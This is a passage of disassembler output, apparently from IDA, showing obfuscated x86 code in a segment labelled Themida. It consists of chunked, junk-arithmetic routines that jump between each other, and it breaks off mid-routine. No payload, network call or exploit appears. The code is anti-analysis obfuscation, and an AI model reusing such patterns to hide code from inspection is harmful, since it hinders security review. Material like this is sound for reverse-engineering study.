loc_550A8B:				; CODE XREF: Themida_:0055A226j
		push	edi
		mov	edi, 2
		sub	ebp, 694A58DFh
		jmp	loc_556A0B
; ---------------------------------------------------------------------------
		push	dword ptr [edx]
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_550AA3:				; CODE XREF: sub_556A70+183Ej
		dec	bl
		mov	dh, bl
		pop	ebx
		jmp	loc_55BBE1
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_550AAD:				; CODE XREF: sub_5584F8-32F3j
		inc	ebx
		not	ebx
		xor	ebx, 0FFEDCB1Ch
		sub	ecx, 2FDE1DAEh
		add	ecx, ebx
		add	ecx, 2FDE1DAEh
		pop	ebx
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jz	loc_5560D1
		push	dword ptr [edi+1Ch]
		push	[esp-8+arg_4]
		mov	ecx, [esp-4+arg_0]
		push	esi
		jmp	loc_55B3BE
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------


loc_550ADF:				; CODE XREF: Themida_:0055CB5Bj
		pop	bx
		jmp	loc_555EB2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_550AE6:				; CODE XREF: sub_556A70-103Fj
		pop	esp
		add	eax, ecx
		pop	ecx
		jmp	loc_557207
; ---------------------------------------------------------------------------


loc_550AEF:				; CODE XREF: sub_556A70+402Bj
		add	eax, ecx
		mov	ecx, [esp-6+arg_0+2]
		add	esp, 4
		xchg	eax, [esp-0Ah+arg_4+2]
		mov	esp, [esp-0Ah+arg_4+2]
		push	ecx
		jmp	loc_55514A
; ---------------------------------------------------------------------------


loc_550B06:				; CODE XREF: sub_556A70+1924j
		pop	edx
		push	[esp-0Ah+arg_4+2]
		pop	ebx
		add	esp, 4
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B74


loc_550B13:				; CODE XREF: sub_552B74+5627j
		mov	cl, 0C9h
		sub	cl, 53h
		shr	cl, 1
		shr	cl, 6
		sub	cl, 35h
		mov	ah, cl
		jmp	loc_55BB7E
; END OF FUNCTION CHUNK	FOR sub_552B74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_550B27:				; CODE XREF: sub_556A70+1E8Ej
		add	ebx, 2E1568BEh
		inc	ebx
		push	edi
		jmp	loc_5574ED
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_550B34:				; CODE XREF: Themida_:00559547j
		push	esp
		jmp	loc_55B2D7
; ---------------------------------------------------------------------------


loc_550B3A:				; CODE XREF: Themida_:00552FF5j
		push	edx
		mov	edx, 5F5B0074h
		shr	edx, 7
		jmp	loc_55A93C
; ---------------------------------------------------------------------------


loc_550B48:				; CODE XREF: Themida_:00552D1Ej
		push	esp
		pop	eax
		push	esi
		mov	esi, 71527B80h
		add	esi, 52D56A6Eh
		push	ecx
		mov	ecx, 4F6A3F75h
		sub	esi, 0E322351h
		sub	esi, ecx
		jmp	loc_554CD0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_550B69:				; CODE XREF: sub_556A70-1D13j
		sub	edx, 0DC05DFB8h
		xor	eax, edx
		jmp	loc_55C2D6
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AA5F


loc_550B76:				; CODE XREF: sub_55AA5F-7789j
		push	edi
		mov	edi, 0FFBFFF9Fh
		add	ecx, edi
		jmp	loc_5545E1
; END OF FUNCTION CHUNK	FOR sub_55AA5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5553D0


loc_550B83:				; CODE XREF: sub_5553D0-3489j
		pop	ecx
		add	esp, 4
		push	eax
		jmp	loc_5594A7
; END OF FUNCTION CHUNK	FOR sub_5553D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_550B90:				; CODE XREF: sub_556A70-B2Fj
		add	[esp-0Ah+arg_4+2], 4
		pop	eax
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		add	eax, 4
		xchg	eax, [esp-0Eh+arg_8+2]
		mov	esp, [esp-0Eh+arg_8+2]
		jmp	loc_55C3B3
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_55A594
; ---------------------------------------------------------------------------


loc_550BB5:				; CODE XREF: Themida_:005582E7j
		pop	esp
		jmp	loc_5560FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_550BBB:				; CODE XREF: sub_556A70-380Cj
		pop	edx
		and	ecx, ebx
		push	[esp-12h+arg_C+2]
		mov	ebx, [esp-0Eh+arg_8+2]
		add	esp, 4
		push	edi
		mov	edi, esp
		jmp	loc_5579F0
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554299


loc_550BD2:				; CODE XREF: sub_554299+7C39j
		xchg	ebp, [esp+0]
		pop	esp
		shl	[esp-4+arg_0], cl
		jmp	loc_55BF23
; END OF FUNCTION CHUNK	FOR sub_554299
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_550BDE:				; CODE XREF: sub_556A70+A20j
		add	esi, 7D375955h
		or	esi, 5E703305h
		sub	esi, 8A465857h
		jmp	loc_55BA3B
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553D17


loc_550BF5:				; CODE XREF: sub_553D17+23D2j
		mov	[esp+8+var_8], edx
		jmp	loc_55CDC6
; END OF FUNCTION CHUNK	FOR sub_553D17

; =============== S U B	R O U T	I N E =======================================



sub_550BFD	proc near		; CODE XREF: sub_556A70+1C09j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00551799 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0055528B SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0055627F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00559427 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005598EC SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00559DB4 SIZE 0000000C BYTES

		push	ebx
		mov	ebx, 1F380A95h
		xor	ebx, 7F2414BDh
		shr	ebx, 6
		neg	ebx
		or	ebx, 48887296h
		dec	ebx
		jmp	loc_55627F
sub_550BFD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_550C1A:				; CODE XREF: sub_5584F8-3925j
		shl	ebp, 4
		dec	ebp
		push	30C5h
		mov	[esp+4+var_4], eax
		jmp	loc_55A119
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------


loc_550C2B:				; CODE XREF: Themida_:005520F9j
		and	bl, cl
		pop	ecx
		push	ax
		mov	ah, 86h
		sub	bl, ah
		pop	ax
		jmp	loc_558128
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5516F8


loc_550C3B:				; CODE XREF: sub_5516F8+A90Aj
		xchg	eax, ecx
		add	ecx, 0FFFFFFFFh
		not	ecx
		shl	ecx, 3
		jmp	loc_555233
; END OF FUNCTION CHUNK	FOR sub_5516F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_550C49:				; CODE XREF: sub_556A70+1995j
		pop	ax
		jmp	loc_552EF2
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_550C50:				; CODE XREF: Themida_:00555A93j
		mov	[esp], ebx
		mov	bh, al
		mov	dl, bh
		mov	ebx, [esp]
		jmp	loc_55A27E
; ---------------------------------------------------------------------------


loc_550C5F:				; CODE XREF: Themida_:0055814Ej
		add	eax, 27931919h
		add	eax, esi
		push	edx
		mov	edx, 4D065FF9h
		dec	edx
		add	edx, 8110428h
		dec	edx
		add	edx, 0EE94252h
		dec	edx
		sub	edx, 3C6D8D57h
		sub	eax, edx
		pop	edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		jmp	loc_552CBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_550C99:				; CODE XREF: sub_556A70-3B97j
		xor	ebx, 43465CF4h
		add	edi, ebx
		pop	ebx
		push	eax
		mov	eax, 739F340Dh
		jmp	loc_55BC3E
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_550CAD:				; CODE XREF: Themida_:00554CA7j
		sub	dh, 1Dh
		or	dh, 0C3h
		xor	dh, 5Dh
		add	al, dh
		jmp	loc_5563AF
; ---------------------------------------------------------------------------


loc_550CBD:				; CODE XREF: Themida_:0055BC08j
		not	al
		shr	al, 7
		and	al, 2Eh
		xor	al, 4Ch
		add	al, 8Eh
		mov	dh, al
		pop	eax
		add	al, dh
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_55CDB2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABA3


loc_550CE4:				; CODE XREF: sub_55ABA3+21DDj
		add	esp, 4
		jmp	loc_552F51
; END OF FUNCTION CHUNK	FOR sub_55ABA3
; ---------------------------------------------------------------------------


loc_550CEC:				; CODE XREF: Themida_:0055B5F0j
		mov	ebp, [esp]
		jmp	loc_558F85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_550CF4:				; CODE XREF: sub_556A70+195Aj
		pop	[esp-10h+arg_C]
		push	[esp-14h+arg_10]
		push	[esp-10h+arg_C]
		jmp	loc_5529F8
; ---------------------------------------------------------------------------


loc_550D02:				; CODE XREF: sub_556A70-CBBj
		or	eax, eax
		jz	sub_553651
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp-8+arg_4]
		jmp	loc_55366A
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_550D15:				; CODE XREF: sub_5584F8-6497j
		mov	ebx, ebp
		jmp	loc_55897A
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------


loc_550D1C:				; CODE XREF: Themida_:00554D0Fj
		add	esp, 4
		push	eax
		mov	ah, 3Eh
		add	ah, 89h
		and	ah, 6Bh
		xor	ah, 50h
		jmp	loc_552B6C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_550D33:				; CODE XREF: sub_556A70+800j
		sub	eax, 4A5F0080h
		add	eax, 22DC0DEEh
		add	eax, 77107898h
		jmp	loc_555CAC
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_550D47:				; CODE XREF: Themida_:0055986Aj
		shr	dword ptr [esp], cl
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555B85


loc_550D50:				; CODE XREF: sub_555B85-31E1j
		dec	ecx
		push	edi
		mov	edi, 26F84E88h
		dec	edi
		inc	edi
		inc	edi
		jmp	loc_553C39
; END OF FUNCTION CHUNK	FOR sub_555B85
; ---------------------------------------------------------------------------
		lodsb
		push	edx
		mov	dl, 30h
		push	ecx
		mov	cl, 0CBh
		sub	cl, 0FFh
		jmp	loc_559F1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B730


loc_550D6E:				; CODE XREF: sub_55B730-5024j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+8+var_8]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	4941h
		mov	[esp+8+var_8], ebp
		push	ebx
		mov	ebx, 2E9B366Bh
		add	ebx, 6A772E1Fh
		sub	ebx, 7F0F632Ch
		dec	ebx
		push	ebp
		mov	ebp, 3B8254C2h
		jmp	loc_55AD65
; END OF FUNCTION CHUNK	FOR sub_55B730
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_550DAA:				; CODE XREF: sub_556A70-54D4j
		push	23B1h
		mov	[esp-4+arg_0], ecx
		push	[esp-4+arg_4]
		pop	ecx
		jmp	loc_555823
; ---------------------------------------------------------------------------


loc_550DBC:				; CODE XREF: sub_556A70-1D49j
		push	edx
		jmp	loc_55301E
; ---------------------------------------------------------------------------


loc_550DC2:				; CODE XREF: sub_556A70+E23j
		mov	[esp+0], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_555A2E
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_550DD8:				; CODE XREF: Themida_:0055B0C3j
		inc	ah
		not	ah
		push	edx
		mov	dh, 9Eh
		push	eax
		mov	al, dh
		jmp	loc_553336
; ---------------------------------------------------------------------------


loc_550DE7:				; CODE XREF: Themida_:0055CA30j
		push	edx
		mov	edx, 1BA23591h
		add	edx, 414A29E4h
		sub	eax, edx
		jmp	loc_55CBD3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_550DFA:				; CODE XREF: sub_556A70+4A86j
		push	1B0h
		mov	[esp+4+var_4], esi
		pop	ebp
		pop	esi
		add	edx, 6CC05474h
		add	edx, ebp
		sub	edx, 6CC05474h
		pop	ebp
		xchg	edx, [esp-8+arg_4]
		jmp	loc_5514BB
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552634


loc_550E1B:				; CODE XREF: sub_552634+9000j
		dec	esi
		jmp	loc_556A61
; END OF FUNCTION CHUNK	FOR sub_552634
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_550E21:				; CODE XREF: sub_556A70+5781j
		and	ecx, ebx
		pop	ebx
		shr	ecx, 7
		jmp	loc_55AA31
; END OF FUNCTION CHUNK	FOR sub_556A70

; =============== S U B	R O U T	I N E =======================================



sub_550E2C	proc near		; CODE XREF: sub_556A70+724j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00552E96 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005563BC SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00557EF3 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00557F90 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055A1F2 SIZE 00000012 BYTES

		sub	esp, 4
		jmp	loc_557EF3
sub_550E2C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_550E34:				; CODE XREF: Themida_:00553954j
		pop	ebx
		add	edi, 6E8455E4h
		add	edi, ecx
		sub	edi, 6E8455E4h
		pop	ecx
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_55315A
; ---------------------------------------------------------------------------


loc_550E52:				; CODE XREF: Themida_:0055C955j
		mov	[esp], esi
		push	edi
		mov	edi, 0AEB2330h
		jmp	loc_556747
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_550E60:				; CODE XREF: sub_556A70-5A82j
		mov	[esp-0Ch+arg_8], esi
		push	edx
		mov	edx, 10B625A8h
		sub	edx, 1
		dec	edx
		xor	edx, 481045F9h
		push	ebp
		jmp	loc_55842D
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AA5F


loc_550E79:				; CODE XREF: sub_55AA5F-2171j
		pop	esp
		movzx	ecx, ax
		sub	esp, 4
		mov	[esp+4+var_4], edx
		push	esp
		pop	edx
		push	0F04h
		mov	[esp+8+var_8], ebp
		mov	ebp, 4
		sub	edx, 3BDA4DD9h
		add	edx, ebp
		jmp	loc_552536
; END OF FUNCTION CHUNK	FOR sub_55AA5F
; ---------------------------------------------------------------------------
		lodsb
		push	edx
		mov	dh, 0CAh
		sub	al, dh
		pop	edx
		jmp	loc_55921B
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	50EDh
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	esi
		push	ecx
		jmp	loc_553DA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552E24


loc_550ED1:				; CODE XREF: sub_552E24+82BCj
		push	ecx
		mov	ecx, 0DAB0EEF8h
		jmp	loc_55CD39
; END OF FUNCTION CHUNK	FOR sub_552E24
; ---------------------------------------------------------------------------


loc_550EDC:				; CODE XREF: Themida_:0055A1E3j
		push	781h
		mov	[esp], ebx
		mov	ebx, 37A11030h
		inc	ebx
		jmp	loc_551D14
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_550EEF:				; CODE XREF: sub_556A70-2036j
		add	edi, 4
		push	535Ah
		mov	[esp+0], ebx
		push	ecx
		push	323D1B18h
		jmp	loc_5515B2
; ---------------------------------------------------------------------------


loc_550F08:				; CODE XREF: sub_556A70+1B1j
		push	edx
		mov	edx, 5B2E2950h
		and	edx, 31235D1Ch
		jmp	loc_559179
; ---------------------------------------------------------------------------


loc_550F19:				; CODE XREF: sub_556A70-410Aj
		add	edx, 0ACDF7D9Ch
		add	eax, edx
		pop	edx
		add	eax, edi
		mov	dword ptr [eax], 0
		pop	eax


loc_550F2B:				; CODE XREF: sub_556A70-3B70j
					; sub_556A70-268Aj
		mov	ebx, [esp+4+var_4]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		mov	[esp+0Ch+var_C], eax
		mov	eax, 540B4433h
		push	ecx
		mov	ecx, 24B0114Fh
		and	eax, ecx
		pop	ecx
		jmp	loc_55641C
; END OF FUNCTION CHUNK	FOR sub_556A70

; =============== S U B	R O U T	I N E =======================================



sub_550F53	proc near		; CODE XREF: sub_556A70+3889j

var_C		= dword	ptr -0Ch

; FUNCTION CHUNK AT 00552C5A SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005583A0 SIZE 0000000A BYTES

		push	ebx
		mov	ebx, 48C27B18h
		jmp	loc_552C5A
sub_550F53	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_550F5E:				; CODE XREF: sub_556A70+51C9j
		xor	[esp+0Ch+var_C], esi
		xor	esi, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		jmp	loc_556A18
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5566B9


loc_550F6C:				; CODE XREF: sub_5566B9-3A9j
		mov	ebp, 216B4127h
		push	esi
		mov	esi, 4299369Ah
		mov	ecx, esi
		jmp	loc_558EAC
; END OF FUNCTION CHUNK	FOR sub_5566B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_550F7E:				; CODE XREF: sub_5584F8-22B7j
		mov	edx, 2F661BE8h
		push	ecx
		mov	ecx, 67B66738h
		or	edx, ecx
		pop	ecx
		sub	edx, 99D4555Bh
		sub	ebp, edx
		pop	edx
		mov	edx, ebp
		pop	ebp
		add	[esp-4+arg_4], 563C6DCFh
		jmp	loc_55CA93
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------


loc_550FA5:				; CODE XREF: Themida_:0055C6ADj
		mov	edx, esp
		jmp	loc_551A7C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_550FAC:				; CODE XREF: sub_556A70-25FDj
		push	eax
		mov	eax, 66BB2037h
		xchg	eax, edx
		not	edx
		xchg	eax, edx
		dec	eax
		add	eax, 66BB203Dh
		jmp	loc_55778F
; ---------------------------------------------------------------------------


loc_550FC1:				; CODE XREF: sub_556A70-2861j
		mov	edi, ecx
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		mov	ecx, edi
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_558E9C
; ---------------------------------------------------------------------------


loc_550FD9:				; CODE XREF: sub_556A70-D82j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+8+var_8]
		pop	esp
		push	51C5h
		jmp	loc_550E60
; ---------------------------------------------------------------------------


loc_550FF3:				; CODE XREF: sub_556A70+369Ej
		or	edi, 4D1B5575h
		jmp	loc_556CA2
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_550FFE:				; CODE XREF: Themida_:00557BE6j
		mov	[esp], ecx
		mov	cl, 0BDh
		push	bx
		jmp	loc_554D38
; ---------------------------------------------------------------------------


loc_55100A:				; CODE XREF: Themida_:0055A5DAj
		mov	[esp], ecx
		push	402Eh
		mov	[esp], eax
		mov	eax, 712F3DA6h
		mov	ecx, 25DC5571h
		xor	ecx, eax
		pop	eax
		sub	ecx, 54F368D5h
		jmp	loc_55C394
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55102D:				; CODE XREF: sub_556A70-57Cj
		add	ebp, eax
		pop	eax
		jmp	loc_55CB44
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], al
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_559023
; ---------------------------------------------------------------------------


loc_55104D:				; CODE XREF: Themida_:00558377j
		mov	ecx, [esp]
		jmp	loc_5594CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_551055:				; CODE XREF: sub_556A70-5591j
		add	ebp, 611C64D4h
		xor	esi, ebp
		jmp	loc_559D8C
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557F09


loc_551062:				; CODE XREF: sub_557F09+4257j
		pop	edi
		xor	ebx, 1002054Eh
		jmp	loc_55639E
; END OF FUNCTION CHUNK	FOR sub_557F09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55106E:				; CODE XREF: sub_556A70+4FD9j
		mov	word ptr [esp+4+var_4],	bx
		push	ecx
		mov	ch, 0FFh
		jmp	loc_55A1E8
; ---------------------------------------------------------------------------


loc_55107A:				; CODE XREF: sub_556A70+5ECEj
		push	1AF6h
		mov	[esp+0Ch+var_C], edi
		push	4
		push	[esp+10h+var_10]
		pop	edi
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+14h+var_14]
		pop	esp
		add	ebp, edi
		jmp	loc_553010
; ---------------------------------------------------------------------------


loc_5510A5:				; CODE XREF: sub_556A70+5DC5j
		mov	esp, [esp+10h+var_10]
		push	ecx
		push	3A2Eh
		mov	[esp+18h+var_18], edx
		mov	dl, al
		mov	ch, dl
		pop	edx
		push	ebx
		mov	ebx, 0
		sub	ebx, 55646909h
		add	ebx, edx
		jmp	loc_556846
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CC90


loc_5510C9:				; CODE XREF: sub_55CC90-9CDDj
		add	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		add	bl, al
		add	bl, 44h
		jmp	loc_552884
; END OF FUNCTION CHUNK	FOR sub_55CC90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55515F


loc_5510DA:				; CODE XREF: sub_55515F+74D4j
		push	eax
		jmp	loc_55280C
; END OF FUNCTION CHUNK	FOR sub_55515F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B74


loc_5510E0:				; CODE XREF: sub_552B74+BBCj
		mov	cl, 4Ah
		push	ebx
		jmp	loc_55294A
; END OF FUNCTION CHUNK	FOR sub_552B74
; ---------------------------------------------------------------------------
		push	5A5Ah
		mov	[esp], eax
		push	dword ptr [esp]
		jmp	loc_554259
; ---------------------------------------------------------------------------


loc_5510F8:				; CODE XREF: Themida_:00558FDBj
		mov	[esp], ebx
		push	eax
		jmp	loc_55AAB6
; ---------------------------------------------------------------------------
		lodsd
		push	edi
		mov	edi, 3EC054Dh
		sub	edi, 0F315C521h
		add	eax, edi
		pop	edi
		sub	eax, ebx
		jmp	loc_555C13
; ---------------------------------------------------------------------------


loc_551118:				; CODE XREF: Themida_:00555089j
		xor	eax, esi
		jmp	loc_553C05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553D17


loc_55111F:				; CODE XREF: sub_553D17+5ECDj
		and	bl, 8Fh
		add	bl, 24h
		sub	ah, bl
		pop	ebx
		sub	ah, 8Ah
		jmp	loc_55433E
; END OF FUNCTION CHUNK	FOR sub_553D17
; ---------------------------------------------------------------------------


loc_551130:				; CODE XREF: Themida_:00558F64j
		push	dword ptr [esp]
		pop	ecx
		push	441Eh
		mov	[esp], ebx
		mov	ebx, esp
		push	0AC4h
		mov	[esp], eax
		jmp	loc_55AE2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55114B:				; CODE XREF: sub_556A70+3B5Dj
		add	esp, 4
		mov	ecx, [esp+14h+var_14]
		add	esp, 4
		popa
		popf
		jmp	nullsub_4
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55115E:				; CODE XREF: Themida_:005545CFj
		push	816h
		mov	[esp], ebx
		mov	bh, 17h
		and	bh, 0F0h
		add	bh, 0D9h
		sub	bh, 7Ah
		push	edx
		mov	dl, 0ADh
		jmp	loc_551305
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5566B9


loc_551179:				; CODE XREF: sub_5566B9+3Dj
		shr	ecx, 1
		add	ecx, 69192E6Bh
		shr	ecx, 2
		shr	ecx, 8
		not	ecx
		jmp	loc_55A35C
; END OF FUNCTION CHUNK	FOR sub_5566B9
; ---------------------------------------------------------------------------


loc_55118E:				; CODE XREF: Themida_:0055C39Cj
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_55C587
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		jmp	loc_551D57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5511A5:				; CODE XREF: sub_556A70+29D2j
		push	ecx
		mov	ch, 9
		sub	al, 0BEh
		sub	al, ch
		push	dx
		mov	dh, 0BEh
		jmp	loc_557AF9
; ---------------------------------------------------------------------------


loc_5511B5:				; CODE XREF: sub_556A70+34F3j
		push	730h
		mov	[esp-0Ah+arg_4+2], edi
		mov	edi, 551F5326h
		not	edi
		neg	edi
		xor	edi, 12982CF3h
		and	edx, edi
		pop	edi
		add	edx, 0BF58CF6Bh
		sub	eax, edx
		pop	edx
		jmp	loc_552570
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555B85


loc_5511DD:				; CODE XREF: sub_555B85-44D2j
		dec	ebp
		not	ebp
		add	ebp, 76795788h
		add	ebx, ebp
		mov	ebp, [esp+0]
		add	esp, 4
		jmp	loc_552998
; END OF FUNCTION CHUNK	FOR sub_555B85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_5511F6:				; CODE XREF: sub_5584F8-6042j
		shr	ecx, 4
		push	ebx
		jmp	loc_5551F7
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------


loc_5511FF:				; CODE XREF: Themida_:00555F0Ej
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_551204:				; CODE XREF: sub_556A70+5E55j
		add	esp, 4
		mov	dword ptr [edi+24h], 72C7434Fh
		sub	esp, 4
		mov	[esp-12h+arg_C+2], ecx
		jmp	sub_559CCC
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55121F:				; CODE XREF: Themida_:0055552Bj
		neg	edx
		neg	edx
		jmp	loc_55AFD0
; ---------------------------------------------------------------------------


loc_551228:				; CODE XREF: Themida_:0055B332j
		push	690Dh
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	[esp], eax
		pushf
		jmp	loc_557057
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_551244:				; CODE XREF: sub_556A70+5FB0j
		mov	edi, 5EA29E17h
		jmp	loc_55324A
; ---------------------------------------------------------------------------


loc_55124E:				; CODE XREF: sub_556A70-20ADj
		mov	[esp-12h+arg_C+2], ebp
		sub	esp, 4
		mov	[esp-0Eh+arg_8+2], esi
		mov	esi, 3435C8Dh
		mov	ebp, 5B265CFh
		xor	ebp, esi
		mov	esi, [esp-0Eh+arg_8+2]
		add	esp, 4
		xor	[esp-12h+arg_10+2], ebp
		pop	ebp
		mov	eax, [esp-16h+arg_10+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_557543
; ---------------------------------------------------------------------------


loc_551282:				; CODE XREF: sub_556A70+6D0j
		pop	edi
		jmp	loc_55A0EC
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		pop	dword ptr [edi+40h]
		jmp	loc_559845
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
